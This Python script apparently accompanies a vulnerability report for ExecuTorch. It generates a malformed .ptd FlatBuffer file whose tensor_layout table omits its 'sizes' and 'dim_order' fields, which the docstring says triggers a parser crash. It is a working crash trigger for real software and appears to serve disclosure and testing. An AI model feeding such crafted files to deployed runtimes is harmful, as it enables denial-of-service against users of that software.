| |
| """ |
| Generates poc_tensorlayout_sizes_null.ptd - a well-formed .ptd file whose |
| single NamedData entry has a PRESENT (non-null) tensor_layout table, but |
| that table's own `sizes` field is omitted (dim_order is also omitted in |
| this PoC; either omission alone triggers the same crash class). |
| |
| Requires: flatc (built from ExecuTorch's vendored third-party/flatbuffers) |
| and the project's flat_tensor.fbs / scalar_type.fbs schema files. |
| |
| Usage: |
| python3 gen_poc.py /path/to/executorch/extension/flat_tensor/serialize /path/to/flatc |
| """ |
| import os |
| import struct |
| import subprocess |
| import sys |
| import tempfile |
|
|
|
|
| def build(schema_dir: str, flatc: str, out_path: str) -> None: |
| with tempfile.TemporaryDirectory() as d: |
| for fname in ("flat_tensor.fbs", "scalar_type.fbs"): |
| with open(os.path.join(schema_dir, fname), "rb") as src: |
| data = src.read() |
| with open(os.path.join(d, fname), "wb") as dst: |
| dst.write(data) |
|
|
| |
| |
| json_path = os.path.join(d, "flat_tensor.json") |
| with open(json_path, "w") as f: |
| f.write( |
| """{ |
| "version": 0, |
| "segments": [ { "offset": 0, "size": 16 } ], |
| "named_data": [ |
| { |
| "key": "weight1", |
| "segment_index": 0, |
| "tensor_layout": { "scalar_type": 6 } |
| } |
| ] |
| }""" |
| ) |
|
|
| subprocess.run( |
| [flatc, "--binary", "flat_tensor.fbs", "flat_tensor.json"], |
| cwd=d, |
| check=True, |
| ) |
|
|
| with open(os.path.join(d, "flat_tensor.ptd"), "rb") as f: |
| raw_fb = f.read() |
|
|
| EXPECTED_MAGIC = b"FH01" |
| HEADER_LEN = 40 |
| FLATBUFFER_ALIGNMENT = 16 |
| SEGMENT_ALIGNMENT = 128 |
|
|
| def aligned_size(n, align): |
| return (n + align - 1) // align * align |
|
|
| def pad_to(data, length): |
| assert len(data) <= length |
| return data + bytes(length - len(data)) |
|
|
| def insert_header(flatbuffer_data: bytes, header_data: bytes) -> bytes: |
| root_offset = int.from_bytes(flatbuffer_data[0:4], "little") |
| return ( |
| (root_offset + len(header_data)).to_bytes(4, "little") |
| + flatbuffer_data[4:8] |
| + header_data |
| + flatbuffer_data[8:] |
| ) |
|
|
| padded_header_length = aligned_size(HEADER_LEN, FLATBUFFER_ALIGNMENT) |
| segment_data = bytes([0x11] * 16) |
|
|
| flatbuffer_offset = padded_header_length |
| flatbuffer_size = len(raw_fb) |
| segment_base_offset = aligned_size(flatbuffer_offset + flatbuffer_size, SEGMENT_ALIGNMENT) |
| segment_data_size = len(segment_data) |
|
|
| header_data = ( |
| EXPECTED_MAGIC |
| + struct.pack("<I", HEADER_LEN) |
| + struct.pack("<Q", flatbuffer_offset) |
| + struct.pack("<Q", flatbuffer_size) |
| + struct.pack("<Q", segment_base_offset) |
| + struct.pack("<Q", segment_data_size) |
| ) |
| header_data = pad_to(header_data, padded_header_length) |
|
|
| injected = insert_header(raw_fb, header_data) |
| injected = pad_to(injected, segment_base_offset) |
| final = injected + segment_data |
|
|
| with open(out_path, "wb") as f: |
| f.write(final) |
|
|
| print(f"Wrote {out_path} ({len(final)} bytes)") |
|
|
|
|
| if __name__ == "__main__": |
| if len(sys.argv) != 3: |
| print(__doc__) |
| sys.exit(1) |
| build(sys.argv[1], sys.argv[2], os.path.join(os.path.dirname(__file__), "poc_tensorlayout_sizes_null.ptd")) |
|
|
